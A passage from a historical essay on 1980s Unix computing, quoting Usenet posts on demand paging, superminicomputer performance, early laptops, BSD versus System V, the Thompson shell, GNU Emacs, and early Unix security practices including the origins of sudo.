Before the 780, no Unix system implemented demand paging. They had to instead resort to a memory management strategy called swapping . As I understand it, these early kernels kept the entire memory image of each active process in physical memory. When physical memory ran out for a scheduled process, they moved the entire image of one or more other processes from memory to storage, thus freeing up memory for the image of the scheduled process. In the words of Joseph L. Wood of AT&T in 1983:

Steve Dyer’s article makes the same semantic mistake that I have seen in many articles recently. The specific statement made is that BTL UNIX doesn’t have ‘virtual’ memory for its VAX version. Of course it has virtual memory; what it doesn’t have and what all the submitters mean is that BTL UNIX doesn’t implement a paging virtual mamory system. BTL UNIX implements virtual memory meaning that the address bit pattern generated in an instruction or by some arithmetic operation in a register for example is translated by a memory management unit before a main store reference is made. On the other hand, when BTL [Bell Telephone Laboratories] UNIX needs some more main store, it selects a process to be deleted and ships the whole image to a swap device. When Berkeley UNIX needs some more main store it looks for a page to delete. This is more efficient than the BTL way. The other alternative which is becoming more attractive for many sites is to just buy enough memory. That runs faster than either.

There were two problems with swapping. First, by all accounts, it was slow. If you were the unlucky owner of an interactive process, say, a text editor, that got swapped out while running, this ordeal made you unhappy. Sure, this was a problem on underpowered PCs like the AT&T 6300 Plus which lacked an MMU capable of demand paging. But it was even an issue on supercomputers where physical memory was contended by many concurrent users ( mentioned later , tangentially).

The other problem with swapping was that the kernel could not run any process whose memory image was larger than the machine’s physical memory. Guy Harris mentioned integrated circuit design as an application where this constraint may have been binding:

Unfortunately, I believe there are applications where “buy enough memory” is either impractical or impossible. I believe a lot of the applications that 4.2BSD is being used for simply require more address space than you can provide purely with the physical memory attachable to a VAX; the VLSI design and image processing software that has been mentioned as prime applications for VAXes and 4.2BSD may fall under this heading.

A paging kernel can, for example, support the mmap system call which lets applications read and write files as if they were fully loaded into memory, even if those files are larger than the available physical memory. An overview of this and other benefits of paging was offered by Randolph Fritz of Western Union Telegraph in 1983.

AT&T Unix, however, used swapping even on VAX machines until System V Release 2 in 1984. They ported V7 to the 780, the result of which was UNIX/32V , but this port did not implement demand paging. So one of the goals of 3BSD in 1979 was to do just that by taking advantage of the 780’s MMU.

Even with virtual memory, superminicomputers were slow

With its 32-bit port, BSD became a VAX-first Unix. Partly due to its better memory management, it proved useful for universities, research labs, and many enterprise users. Then, since ARPA also purchased several VAX-11/750s, 4.1BSD in 1981 added support for these machines, too.

The VAX-11/780 and the 750 were called superminicomputers or superminis. But even with demand paging, they were not what we would recognize as fast. On some level this is obvious: the 780 came with a 5 MHz (1 MIPS) CPU and it supported between 2 to 8 MB of memory. 18 But the comparison is interesting because we still use very similar tools to what people ran on BSD.

Think about the code you write and run today. How much longer would it take to run it on a VAX in 1985?

For statistical analysis, one of the popular languages in use is R. R’s proprietary precursor was called S, and it ran on 32-bit Unix. Jim Leinweber of UW Madison shared performance measurements on their 780 running BSD:

S snippet 11/780 running 4.2BSD ThinkPad X1 Carbon running Linux 19 Multiplier
write(1:10000, "/tmp/junk") 25 s 14.04 ms 1,781
m <- matrix(read("/tmp/junk"), 100, 100) 20 s 7.72 ms 20 2,591
for (i in 1:20) for (j in 1:20) m[i,j] <- sin(j/10) timed out 3.00 ms N/A

Here is what each row means:

  1. Creating a vector of 10,000 integers and writing it to a file took 25 seconds.
  2. Reading the vector back into memory, turning it into a square matrix, and assigning the result to a variable took 20 seconds.
  3. Initializing a 20-by-20 matrix element-by-element took too long to complete.

And 4.2BSD was the fast Unix ( mentioned later ).

It would be easy to blame S’s slowness on the 780’s CPU or memory. CPU clock rates were lower, after all. Memory access was slower, too. If I understand the 780’s hardware handbook correctly, it had a memory bandwidth of about 13 MB/s .

But none of the benchmarked S snippets were CPU-bound, nor were they memory-intensive. The 780 came with at least 2 MB of physical memory, and 10,000 unboxed int s fit in less than 40 KB. Even if S boxed every int , it is unlikely that the vector used more than 80 KB.

Rather, the snippets were bottlenecked by I/O. On these systems, writing data to temporary files was common practice because memory was an extremely scarce resource. And boy, did S take the practice to heart. In Jim Leinweber’s words:

[…] I’m not an expert on the bowels of S, but a cursory glance at $M/lang3.yr shows that each occurence of `<-’ invokes $F/assign, which in turn calls $L/getds, $P/pcopy, and $L/putds. Thus one problem with the nested for loop is that assignment is very expensive in S; apparently each assignment copies a dataset from one file to another! Doing O(n^2) complete file rewrites to initialize a matrix is bound to be slow

So I/O was not only slow, it was also more frequently necessary to resort to it because memory pressure forced the kernel to swap and applications to save their work to storage.

12-core machines already existed in 1985, kind of

Interactive workloads were very ill-suited for single-CPU multi-user systems like the VAX-11/750. Nowadays, we carry multi-core entertainment systems in our pockets. Yet in the 1980s, typically even machines the size of a large fridge had only one single-core CPU.

But there were exceptions. Notably, Sequent Computer Systems’s Balance line of machines were multi-CPU systems with 10 MHz processors from National Semiconductors. The Balance 8000 could be configured for up to 12 CPUs, with six dual-CPU boards. These machines shipped with a modified version of 4.2BSD, so they could run any workload that a stock 4.2BSD could in its native habitat, on an 11/750.

Keith Packard of Tektronix Inc. wrote in 1985 on net.unix-wizards :

Sites like this might want to look into systems like the sequent balance 8000 or other multi-cpu systems. We have had a sequent box for about 3 months and I, for one, would never consider buying a vax again in a multi-user environment.

It’s got 6 32016’s and a mess of iop’s and runs 4.2 unix. For single job execution it performs about like an 11/750. For 6 job execution it performs about like 6 11/750’s. Even the i/o bandwidth doesn’t seem to slow it down a bit, the notoriously cpu bound 4.2 file system has a party with 6 cpu’s serving it!

And, the best part, it costs less than a single 11/780! Also, it is housed in a rather small box (1m deep, 2m wide and <1m high). I use it for software development - edit, compile, link… and have been working with ~1M of code. I was on an 11/780 with about 30 other software designers, load averages of 20-40 not uncommon. The sequent box has been wonderful.

Despite the Sequent Balance’s good showing against the 11/750, I don’t imagine that these models came close to the VAX’s popularity. I couldn’t find a single photo of a Balance machine anywhere, either in promotional materials or deployed. There are several photos of what it looked like inside the box though.

A dual CPU board from a Sequent Balance

A 360mm-by-310mm dual CPU board from a Sequent Balance, showing two NS32332 processors alongside their cache memory. Customers could add multiple such boards to a Sequent machine if their workload required. (Source: cpu-ns32k.net .)

What happened to Sequent after this? The company kept up with the growth of the 80386 and started building machines around Intel CPUs. Eventually, they got acquired by IBM in 1999. Although both Sequent and IBM said that Sequent’s products would continue to be sold, IBM discontinued them by 2002.

Laptops were expensive and heavy

By the late 1980s and the early 1990s, laptops started becoming affordable. Among manufacturers of such portable computers, Toshiba was well-regarded.

Even 16-bit laptops were useful quality-of-life improvements. One such computer was the Toshiba T1000SE, which used the Intel 80C86. John Osler of Dalhousie University used his as a thin client to their VAX in 1991:

I use my T1000SE extensively as a terminal emulator for our VAX mainframe by running the EM4105 software package from Diversified Computer Servives. It has no trouble communicating at 19200 bps and has a subset of Kermit available for file transfer operations . Also included are a number of screen, printer and plotter graphics drivers, among these, the T3100 driver uses the full 640 by 400 resolution of the T1000SE screen to emulate a Tektronics 4010, 4105 or VT640 graphics terminal. All this to say that the the T1000SE can be used very effectively as a terminal emulator.

But neither affordable nor portable meant then what we think today that it means.

The T1000SE weighed only 2.6 kg (5.8 lbs; see brochure ) and sold for about $1,200 in 1990 (equivalent to $2,960 in 2025). That doesn’t sound so bad compared to high-end laptops today but we need to remember that this was a 16-bit computer.

Gaston Groisman of U Calgary also had good things to say about the T1000 but said that the laptops used by his wife’s professors rather difficult to lug around:

wife has a T1000 and she caries it to school almost every day (walking). She deos mostly word processing and some e-mail and loves it. At the same time some of her profesors have heavier machines (Zenith 181?) and they keep them on their desks all the time, even though they drive!! We also took the laptop in out trip back home to Argentina and it was a great way to get my daily fix of programing and playing. Finally, given the prices I have seen advertized the T100 seems the best combination for writing, traveling, etc.

The Zenith 181, released in 1986, had a 16-bit Intel 80C88 processor and 640 KB of memory. It weighed 5.4 kg (11.8 lbs; see brochure ).

For a higher-end example, the Toshiba T3100SX, released in 1989, was more desirable. It had a 386 CPU and a 40 MB hard drive. It was sold with 1 MB of RAM but that could be expanded to 13 MB. With two batteries, you could get 2 to 5 hours of battery life out of it.

All in all, this laptop should have been a wizard’s trusty travel companion. It being a 386-based machine made it particularly attractive because of the prospect of running Unix on it. No more messing around with the 80C86 or the 80286!

Ad for the Toshiba T3100SX

A laptop with demand paging and the weight of seven ThinkPad X1 Carbons.

But the T3100SX cost upwards of $5,000 (about $13,000 in 2025 dollars). And it weighed 6.8 kg (15 lbs; see a contemporary brochure and a later fact sheet ).

Toshiba also made other 386-based laptops. John R. Levine of Segue Software asked about the T5200 in 1990:

I am looking for a Unix system that I can take with me on trips, so as not to lose a moment’s hacking time merely because I happen to be on top of some mountain with spectacular views or something. Here are what I think I need:

[…]

Running on batteries is unimportant, when I’m on a plane I sleep. The Toshiba T5200 appears to qualify nicely on every point except perhaps the last. (It has one long and one short internal slot, enough for an internal Telebit modem and an Ethernet card.) Has anyone actually run 386/ix or some other Unix on one? Is there some other machine I should be considering? A lunchbox machine like the Compaq Portable 386 would be a possibility, though the Compaq is pretty expensive and its expansion memory is unbelievably expensive.

Thanks, as always, in advance

The T5200 weighed 8.4 kg (18.5 lbs; see brochure ). Contemporary brochures don’t mention a price, but Keith Comer, a product manager at Toshiba America, said in a 1989 TV program that prices started at $9,500 ($24,697 in 2025). It is hard to imagine that there was a market large enough for the these laptops for Toshiba to break even.

So Unix-ready laptops were heavy luxury items that most people seemed to buy on organizational budgets. But laptops were already taken on airplanes. The fear that they emit radio waves that interfere with navigation systems had mostly been put to rest, and many people took advantage of this. Joseph S. Brindley of California Polytechnique wrote in 1990:

This was an early fear expressed by ignorant airlines when laptops first came out but it is not grounded in fact as most, if not all, laptops have a FCC class b rating. I have used mine many times. No crashes yet! :-)

The exact etiquette of bringing electronics aboard a plane may still have been in flux. Anthony J. Stieber of UW Milwaukee wrote:

At one time there was a lot of hysteria about problems with RFI from laptops on aircraft, but that was several years ago. Before I flew it was suggested that laptop users talk to the pilot about using a laptop on board. […] Basicly they were pretty unconcerned about it. It was like they were thinking “Why are you asking me? I don’t care.” […] I would still ask the pilot about using any kind of electronics that I bring on board the plane.

Going through airport security was interesting. I asked to have my machine hand checked rather than go through the x-ray machine. They wanted me to turn the machine on, it’s a Toshiba T1000 which boot from a ROM disk, the guard remarked on how quickly the machine came up. That was a bit scary, especially when they didn’t ask to look in the large zippered pocket or the largish disk cases. The thing that most excited them were the cables and my shaver in my backpack which they saw as it went through the x-ray machine. They did ask to look in there, but lost interest after a quick look.

I’m sure security will vary alot depending on which airport it is, where you’re going, and whether there have been threats or problems recently.

Software

Unix had to be tinkered with, but it could at least be tinkered with

Unix was not the only operating system in use on enterprise computers. Even ignoring third-party OSes, DEC itself shipped several alternative systems for its machines. Its PDP-11 minicomputers ran RSX-11 and RSTS/E into the 1990s. The PDP-10 mainframe, a 36-bit architecture, ran TOPS-20. The VAX superminis ran VMS.

Among these, Usenet article authors spoke particularly fondly of TOPS-20. During the time when command and file name completion on 32-bit Unix was only implemented by tcsh and AT&T’s $2,000 ksh ( mentioned earlier ), and when Unix’s documentation was generally lacking, TOPS-20 already had both of these areas covered.

Yet nowadays, it is VMS that is the best remembered (and in fact still actively maintained as “OpenVMS”). It was backwards compatible with RSX-11, and generally regarded as a stable, low-fuss OS.

In 1984, Jon Forest of UCSB liked VMS more than Unix because the latter was too much work to keep running:

I run VMS. One of the reasons I prefer VMS to Unix is because VMS is much easier to maintain. In essence, I don’t do any maintainence because DEC does it all for me at a fixed rate. I can plan my budget knowing exactly how much it will cost be to run VMS. With Unix, software maintainence requires one or more gurus who spend lots of time on the phone, going to conferences, reading nets like this, and hacking. The worst part of this is that so much effort is duplicated. For example, how much time has been spent by all the Unix users in the world to find and fix the bugs that are now being described. I bet that each bug has been found and worked on by more than one person. This is wasted time.

The counterpoint was that Unix’s source license enabled sites to fix bugs without waiting for the vendor. As Henry Spencer of the University of Toronto put it:

Having DEC do all your software maintenance has the obvious advantage that you don’t have to do the work. It has the obvious disadvantage that you can’t do the work even if you want to and need to. Your degree of satisfaction is clearly a function of how responsive DEC is, and you have no input in deciding that. Since you run VMS, you have no viable alternative if you come to dislike their service; they know this.

GNU/Linux and a truly free BSD were still almost a decade away, but Unix already gave at least its academic users more freedom than any other OS. This relative freedom defined Unix’s culture.

Mark Crispin of Stanford University thought that Unix wasn’t the only OS that needed “wizards”:

This sort of issue comes up whenever people get the impression that there are any absolutes. Just about any system can benefit from having an on-site wizard, even if the operating system is manufacturer-supported (e.g. VMS, TOPS-20, VM/370). While the cost of ownership of a wizard is non-trivial (yes, they do “spend lots of time on the phone, going to conferences, reading nets like this, and hacking”), consider the alternative. You are either stuck with the product as it comes from the manufacturer or you find yourself forced to rent a wizard – that is, you must hire a consultant.

Now I have nothing against consultants! I’m a full-time rental wizard (tr: independent consultant) and I find the business quite lucrative. I hope that attitudes such as Jon Forrest’s continue – customers with that attitude comprise most of my business.

Rather than the wizard issue, he saw two major problems with Unix. The first was tribalism, his description of which rings familiar:

The “people problem” with Unix is not the wizards, but rather the groupies. I define a “Unix groupie” as any individual who (1) considers Unix in its present state to be software perfection, (2) refuses to believe that other operating systems have features too, (3) makes noises of disgust whenever some other operating system is mentioned, (4) makes noises of disgust whenever some programming language other than C is mentioned. It’s reminiscent of the APL\360 groupies of 15 years ago.

The second problem was the fractured landscape created by Unix’s many variants ( mentioned earlier ):

Unix does have a software maturity problem. I for one would love to see a standard Unix. It unnerves me when I must relearn “how to do X” just because I’m using somebody else’s Unix system. Many of these incompatibilities seem to be completely gratuitous. Also, Unix lacks some very basic facilities which are only now starting to appear: process-to-process memory mapping (for both read and write), process-to-file memory mapping, file interlocks, long file names, user-friendly command interfaces (sh, csh, ksh, etc. are many things, but user-friendly is not one of them), etc. I wish that these things would all appear in all places in the same way, but I fear that in just about every minor version of Unix it’ll be completely different.

He did think that VMS had its place, but he was not as impressed by it as some others on Usenet seemed to be:

Unix is clearly not for the fainthearted. If you really don’t care all that much what the operating system does for you – e.g. all you want is a FORTRAN engine then Unix may not be your answer. You can use a “throwaway” operating system such as VMS. If you actually start USING some special feature of your operating system, you may start caring about what happens when you have to change computer vendors.

Finally, I cannot let the comment about “Unix being better than any other operating system (except VMS)” go by unchallenged. I can’t see how anybody can possibly make such grand claims about VMS. It’s the manufacturer-supplied operating system for a superminicomputer which is now (with the 8600) selling at (high) mainframe prices. It’s an upgrade from an earlier minicomputer operating system from that manufacturer, but still some years(!) away from achieving the level of functionality of other operating systems from that manufacturer’s other product lines! It’s still a dinosaur.

Those “other operating systems” that Mark Crispin was talking about? Mostly TOPS-20, which he still ran at home in the 2000s.

BSD was generally seen as faster and more innovative than System V

System V had a reputation for being better documented and making fewer breaking changes than BSD. However, many innovations and improvements to System V originate from BSD. I’ve already mentioned some examples earlier. But BSD also added smaller quality of life improvements, like filenames that could be longer than 14 characters and a C compiler that allows identifiers longer than seven or eight characters (where the System V compiler imposed limits of seven for globals, eight for locals).

BSD was generally considered faster than System V. This was also the case for Berkeley’s “fast file system” (FFS), although there were some conflicting reports in this case. John Bass mentioned in 1985 that this was probably because ARPA and other major BSD users were running atypical workloads that involved large files:

People forget that 4.1 and 4.2 were paid for and tuned for AI Vision and CAD/CAM projects sponsored by ARPA and various compainies. For the job mix that 4.x systems are tuned for it is the ONLY way to do those jobs on a UNIX machine with any cost effectiveness.

Many tradeoffs that go into 4.x systems are directly counter the best ways to tune UNIX systems for development environments … but they were the only way to make things work for the target applications.

The converse is also true to a large extent … V7/SIII/S5 kernels don’t handle large applications well or at all — try running a 6mb application on an older bell system with swapping …. it takes many seconds for a single swap in/out.

[…]

As for the 4.2 “fast filesystem” … it was again tuned to make large file transaction run at an acceptable rate …. try to load/process a 4mb vision or cad/cam file at 30-50 1k block transactions per second – it will run SLOW compared to a production system with contigous files. A number of tradeoffs were made to help large file I/O and improve the transaction rates on very loaded systems (LIKE ucb ernie … the slowest UNIX system I have ever used …. even my 11/23 running on floppies was faster).

As Guy Harris pointed out in a different discussion, BSD was also well-suited for integrated circuit design which represented a similar workload ( mentioned earlier ). Overall, Berkeley’s early support for demand paging went hand in hand with performance tuning in other subsystems, like FFS.

The original /bin/sh supported goto

The Bourne shell, introduced in 1979 in V7, is what we think of today as the Unix shell. But Unix’s original /bin/sh , the Thompson shell, was an uncanny creature.

This old shell had already fallen into obscurity by 1986, when Kenneth Almquist gave a taste of it on net.unix-wizards . (You might recognize Almquist as the original author of /bin/sh on NetBSD and Debian.)

He provided the following sketch of an early shell script:

/bin/if $1x = x /bin/goto usage
[commands to do actual work go here]
/bin/exit
: usage
/bin/echo "Usage: command filename"
/bin/exit 1

This snippet is nothing if not strange. How could /bin/goto , a child process, alter the order in which the shell script was executed?

Almquist explained that this was possible because the Thompson shell read the script from standard input (i.e., file descriptor 0) and allowed /bin/goto to change the shell’s position in the input:

[…]

/bin/goto performs a goto, just like its name implies. The implementation of /bin/goto depended upon the fact that the shell read shell scripts on file descriptor 0 using unbuffered reads. The /bin/goto program would seek to the beginning of the script and read forward until it came to the specified label , which appeared on a line beginning with a “:”. The “:” command does nothing; it was actually a shell builtin even at this early date.

[…]

Criticism of the Bourne shell is not new. Almquist himself already complained in 1988 that shell scripts are hard to get right because of their complicated semantics ( mentioned later ). Nevertheless, it was a clear improvement over the status quo:

[…]

Needless to say, all this broke with the Borne shell, which didn’t read shell scripts on the standard input. One reason that the Borne shell was accepted as a replacement for the old shell is that in a shell script of any size the gotos became unreadable. The big change in converting to the Borne shell consisted of replacing all the gotos with structured flow of control statements, which was obviously a worthwhile enterprise even if the Borne shell had not required it.

GNU Emacs was big

GNU Emacs already had its enthusiasts when it was first released in 1985. Just like today, extensibility was what most people mentioned back then as its most appealing feature. For example, David M. Siegel of MIT praised it in March 1985:

I cannot image why people would not want GNU Emacs. It is by far the best Emacs I have ever used; far better than one you could buy. It is amazingly easy to add features to it. For example, a few of us added a netnews reading mode to it (very similar to vnews) in one weekend. The mail reading program is very similar to Babyl, and probably one of the best you can get for a Unix system. All in all, it is hard to beat.

But Emacs wasn’t just extensible, it was also a good enough terminal multiplexer. In 1990, when X11 was already around, X11 was desirable but Perry Smith of IBM found Emacs featureful enough to forego that:

[…] If we totally disrequard price, is there a laptop which runs Unix in a true multi-process environment? I’d like to have BSD Unix (or mach). […] I think 5 mips would be plenty though. I’d also like to have an expandable disk system where I could have a limited amount of disk in battery mode and a huge amount of disk when I finally got back home. I don’t expect all the disk to be housed in the laptop. Unix by itself is big plus I like to use emacs and TeX and some other huge packages so I need quite a bit of disk space. But I don’t need this when I’m sitting on a plane (for example).

Oh, while I’m blowing smoke rings – I’d like eventually to be able to run some sort of X windows or similar package. This is actually not a big deal since emacs gives me all the environment I need. The advantage of emacs as an X client though are sorta neat and I’d love to be able to have those capabilities as well.

Has the technology even approached such a beast? If so, who makes it and how much is it going to set me back? (I’m willing to go pretty high if I really like what I see.)

The problem was that GNU Emacs was big. Even in 1985. The source code was 2.2 MB uncompressed, and people weren’t really sure how to distribute all that without filling up the disks of Usenet sites.

Jeff Hull of TRW Inc. suggested sharing the source over 18 or so weeks:

How about stripping all extraneous material (e.g., the .o files) out & posting it in 64K pieces, say 2 per week?

You might be thinking, why didn’t they compress the source code before sharing? The reason is that, at the time, only plain-text files could be shared via Usenet and email. Base64 encoding, which we use to serialize binary files, wasn’t proposed until 1987 .

But GNU Emacs as a running process was big, too. Brad Miller of Computer Consoles Inc. worried that it wouldn’t even fit in system memory:

I have at least one complaint. It is HUGE. Sorry, but when my OS won’t run it because it only supports 1 meg processes, I start to wonder.

As a result, various micro-Emacsen were popular for a long time. Freemacs was one alternative, but it had other limitations, as Chris Brewster of Cray Research reported in 1991:

I have had the same question. I wanted a program that would be compatible with the GNU Emacs that I use at work. I especially wanted some of GNU’s features such as multi-step UNDO and extensibility. The most GNU-like program is Freemacs, but the 64K file size limit is a real problem for me, and it doesn’t have UNDO. Going by people’s comments about other PC Emacs’s, I think that they would also fail to meet my needs. But I have heard that the Brief editor is fully configurable and extensible, and has multi-step UNDO and a lot of power. If it’s configurable, maybe it could be given an Emacs-like interface. I’d be interested in others’ experience with Brief, and opinions about how well it could be made to emulate Emacs commands.

Other popular contenders were MicroEMACS, MicroGnuEmacs, and JOVE. 21 These not only limited themselves to an essential feature set, they also chose a different data structure (a linked list of lines) for storing edited files in memory than GNU Emacs did (a gap buffer ). Piercarlo Grandi of UCW Aberystwyth compared the performance of the latter two editors with GNU Emacs in January 1990:

The lesson I derive from these timings is that creating the linked list of lines , and especially copying the file to a temporary as well, slow down file reading time, but then further operations become very much faster. Note also that both MicrGnu and Jove are somewhat carelessly coded, with lots of quadratic algorithms.

Ah, another note: in my favourite editor buffer organization, I would use the gap method, for intra line editing, as it avoids a lot of these quadratic situations (e.g. repeated inserts or deletes).

Grandi also noted that the gap buffer could be made much more efficient by taking into account the size of the machine’s cache line:

Note that on cached machines this can be further improved; the hardware string move instructions typically hard coded in memcpy(3) and friends are often very suboptimal. On a cached machine you really want to split your transfer in three parts (if long enough!), a head and a tail that are copied byte-by-byte, and a body that is copied one cache line at a time, and is cache line aligned in the destination . Especially on machines with write thru caches, writing cache line aligned cache line sized chunks is vastly faster, as it avoids the cache fetching a line only to partially update it and hold ups at the memory interface. I remember that on a VAX-11/780 with an 8 byte SBI write buffer, writing aligned 8 byte transfers was tremendously effective.

Supercomputers couldn’t run Vi and Emacs either

So smaller computer struggled with GNU Emacs. But supercomputers did, too. In fact, text editors in general were a problem on multi-user systems.

Both Vi and Emacs were reported to cause performance degradation on supercomputers like Cray X-MPs and Y-MPs. Rafael Sanabria of NASA wrote in 1990 on gnu.emacs :

We are having a heated discussion here at the lab because our computer administrators are afraid that vi or emacs will degrade the performance of these supercomputers. The say that vi issues an interrupt for every keystroke and that will degrade performance.

Along the same lines, Booker C. Bense of the San Diego Supercomputer Center explained on comp.unix.large why running Vi and Emacs on the Crays was not a good idea:

An editing process requires an entry that remains in the process table for a significant amount of time using a significant portion of that time in system calls.

[…]

So while I have only made a few changes, I have been in the editor for many minutes. All this time the editor is patiently waiting for keypresses, unless of course my process got swapped out. Note: in this example I have not used any more cpu time than in the test examples above, however I have caused the scheduler that much more grief. While I do not pretend to know the inner workings of the UNICOS scheduler, I know trying to edit files at around 3pm here is an exercise in patience.

This led to workarounds like remote editing. GNU Emacs users had ange-ftp which copied modifications via FTP. Vi users had rvi , of which there were actually two variants . One variant generated ed commands while the other used FTP.

Security

By modern standards, Unix wasn’t secure

In 1983, the University of Toronto had a VAX-11/780 running 4.1BSD with a modified kernel because of ”the somewhat hostile environment created by the undergraduates” . Surprising, maybe, but definitely amusing. Unfortunately, the modifications they made were not detailed.

There was a general sense on Usenet that Unix was full of security holes. As a logical consequence, people believed that it was dangerous to divulge details about vulnerabilities because the typical deployment was not about to be updated. So, unfortunately, the historical record is light on the specifics.

Some early problems with Unix that are well-known:

  • In V7, chroot could be broken out of by running cd /.. because .. was a pointer in the file system to the parent directory, not a symbol that was resolved based on the root directory. This was fixed in 4.1BSD and System III, according to Guy Harris in 1983.
  • Encrypted passwords in /etc/passwd could be cracked by bruteforce until SunOS or System V (I’m not sure which) introduced shadow passwords in the mid-to-late-1980s.
  • Setuid root binaries were pervasive.
    • For example, ps originally ran with setuid root to read physical memory via /dev/mem , and later kernel memory via /dev/kmem , for information on running processes. The situation was slightly improved later by adding a kmem group, making /dev/kmem readable only by the group, and running ps with setgid instead. But, of course, letting an attacker read arbitrary kernel memory was still not ideal.

    • Actually, for a while, even shell scripts could run with setuid bits. This was criticized, among others, by Kenneth Almquist in 1988:

      […] People tend to use the shell for quick hacks which work right in most cases. But being a little bit insecure is like being a little bit pregnant. The fix is to put as much thought into writing a setuid shell procedure as you would into writing a setuid C program. In fact, writing a setuid shell procedure is more difficult that writing a setuid C program because the semantics of C are simpler.

      […]

  • Authentication over network connections was typically unencrypted. Encryption was either not available or not used. John Carr of MIT reported that they addressed this in 1987 by switching to Kerberos.

Code quality had room for improvement. For example, dereferenced null pointers were reportedly a common issue. On VAX machines, this was a legal operation, and it seems that programs often assumed address zero to contain an empty null-terminated string, i.e., a byte equal to zero. Dave B. Johnson of Rice University was working on a Unix emulator for VMS and had to grapple with this problem. He wrote in 1983:

Many programs under Unix at least unknowingly use the fact that using a zero pointer as a “char *” will give you a null string. Although these are many times bugs which nobody has yet found, we have found in bringing up Phoenix under VMS that a large number of programs will break if there is not a null string at 0. The way this works on a VAX is that the entry point for crt0 contains a register save mask which specifies that no registers be saved. Since crt0 gets loaded at address 0, this results in a zero word at address zero, and thus, a null string at 0. In answer to your question:

What if I do “int *a = 0, *b = 0; *b = 10; i = *a;”? What is the value of i? Does this mean that assigning indirect through a nil pointer is deadly to the rest of your nil pointer derefs?

the result would be a Bus Error, since location zero is part of the text, rather than the data, and is thus write protected (except, of course, under the OMAGIC format where the result in “i” would be 10). I have not found any programs that try to write at address 0, but there certainly are those that rely on reading there.

The reason that programs got away with this was that BSD implicitly placed a null byte at address zero. 22 In the 4.1BSD source tree, this was done in src/libc/csu/crt0.s , in the startup routine that called the main function in compiled executables.

Of course, this hack was frowned upon, and efforts were made to weed out null pointer dereferences in Unix, including in tools like awk (as reported by Guy Harris in 1985) and sed (as noted by David Elliott of MIPS in 1988).

Home brewed systems programming solutions also seem to have been common. Toronto’s modified kernel is one example. As another example, on the topic of bruteforcing /etc/passwd , Steve Dyer wrote in 1982:

At Harvard we replaced /etc/passwd with a hashed-on-logname, fixed record organization, with “private” information (such as encrypted passwords, student ID nos., etc.) kept in a parallel, publically-unreadable file. And, yes, it’s very easy to encapsulate these changes by rewriting the handful of get**ent routines. Standard Bell or Berkeley programs run without reprogramming. For those few programs which might migrate to our system in binary form, we regenerated an /etc/passwd file (with a phoney password field) every morning.

This wasn’t only for security but also for performance. On larger systems, memory limitations and slow storage I/O made plain-text lookups very slow:

It wasn’t a realistic possibility for us to use the /etc/passwd organization, because we had over 2500 unique lognames on each of our 11/70’s.

[…]

Such modifications existed at other sites, too. Peter Collinson of the University of Kent reported a similar scheme in 1983. 23

The original Unix security model centered on users, groups, and read/write/execute file permissions.

I’ve mentioned setuid/setgid bits in the previous section. These file permissions allow users to run certain binaries as if they were a different user or members of a specific group. Probably until the early 1990s, Unix made heavy use of this mechanism. For example, did you know that /bin/df was setuid root on 4.1BSD? Or /bin/mv , /bin/mail , and /usr/bin/at ? Or /usr/games/fortune ?

Setuid/setgid was frowned upon, but the alternatives were unwieldy. Every time a user needed to execute a command as root, they had to either log in as root or, and this was the recommended method, use the su utility to get a temporary root shell.

The su utility was already present in First Edition Unix in 1971. However, using su was clunky because every time it was invoked, the user had to enter the root password and wait for it to be validated against /etc/passwd (or later, the shadow password file).

Aside from the inconvenience of having to type the same password again and again, this seems to have been slower than on today’s systems because of the sluggishness of storage devices.

Many people tried to address these problems by inventing alternatives to su . In December 1985, Kevin Szabo of the University of Waterloo shared a small utility called asroot , written for System III. Karl Kleinpaste followed up with an even simpler utility called enable that did the equivalent of calling the C library function system() as root. But neither asroot nor enable performed any permission checking.

Paul Summers posted another utility called force which asked the user for the root password before executing the command. The root password was compiled into the executable “to save time,” I presume because of high storage I/O latencies on contemporary hardware. Apart from the hardcoded root password, force was similar to running su with the -c flag which su already supported at the time.

In response, Clifford Spencer of BBN Communications Corp. posted an early version of sudo . It consisted of a single C source file and included a rudimentary version of permission checking. It allowed arbitrary command execution if the user was listed in /usr/adm/sudo.users .

About five days later, Don Gworek posted a modified version 24 that was capable of restricting user permissions to specific commands. Like modern sudo , it used a file called sudoers :

Permissions in sudoers are either “all”, a list of commands, an enviornment PATH variable, or a PATH followed by a list of commands.

Fun trivia: sudo was originally developed at SUNY Buffalo on a VAX-11/750 running 4.1BSD.

Conclusion

The Usenet archives are vast, and there are many more topics that I could not cover here despite being interesting. For example, the debates around moving Unix from static linking to shared libraries, or complaints about BSD’s subpar documentation which is surprising given the reputation of its modern descendants. I might get to those topics in the future. Or maybe you will and I can read about them?


  1. Dennis Ritchie and Ken Thompson (1974) described the design and early development of Unix. It already accumulated a good number of deployments early on:

    There have been four versions of the UNIX time-sharing system. […]

    Since PDP-11 UNIX became operational in February, 1971, over 600 installations have been put into service. […]

    ↩︎

  2. Neil Brown has an article series on LWN, called Ghosts of Unix Past . The series describes both successes and failures of Unix’s design patterns, and areas where the core principles weren’t followed through consistently. ↩︎

  3. Yes, unlike Linux and the BSDs, macOS is certified as compliant with version 3 of the Single Unix Specification . But does it actually borrow code from AT&T? I don’t think it does but I’m not sure. ↩︎

  4. For context, it has to be mentioned that Sun was co-founded by CSRG alum and erstwhile BSD contributor Bill Joy. Later, Sun and AT&T formed a partnership to integrate BSD and AT&T’s System V, the result of which was System V Release 4, or SVR4, completed in 1988. Sun then migrated its own operating system from 4BSD to SVR4 as the new foundation. This led to the release of Solaris 2 in 1992. ↩︎

  5. Copyright strings embedded in rsh.exe , rcp.exe , ftp.exe , and finger.exe suggest that these executables borrowed source code from BSD. The Internet Archive stores a copy of a Windows NT 3.1 installer . Download Disc01.iso and then run:

    $ mkdir -p /tmp/nt/{disk,binaries,copyright}
    $ sudo mount -o loop Disc01.iso /tmp/nt/disk
    $ cd /tmp/nt
    $ cp ./disk/i386/*_ ./binaries/
    $ cd binaries
    $ for i in *_; do msexpand $i; done
    $ rm *_
    $ for i in *; do strings $i | grep -i copyright > ../copyright/$i; done
    $ cd ../copyright
    $ grep -ri copyright .
    

    If you’re not on Linux, replace mount -o loop with the equivalent method for mounting a CD image on your OS. On Debian and Ubuntu, msexpand is shipped by the mscompress package. The last command will print:

    rsh.ex:@(#) Copyright (c) 1983 The Regents of the University of California.
    rcp.ex:@(#) Copyright (c) 1983 The Regents of the University of California.
    ftp.ex:@(#) Copyright (c) 1983 The Regents of the University of California.
    finger.ex:@(#) Copyright (c) 1980 The Regents of the University of California.
    

    ↩︎

  6. MacOS X’s kernel programming guide describes BSD as being the originator of the kernel’s networking facilities. A 2005 brochure for MacOS X Server writes:

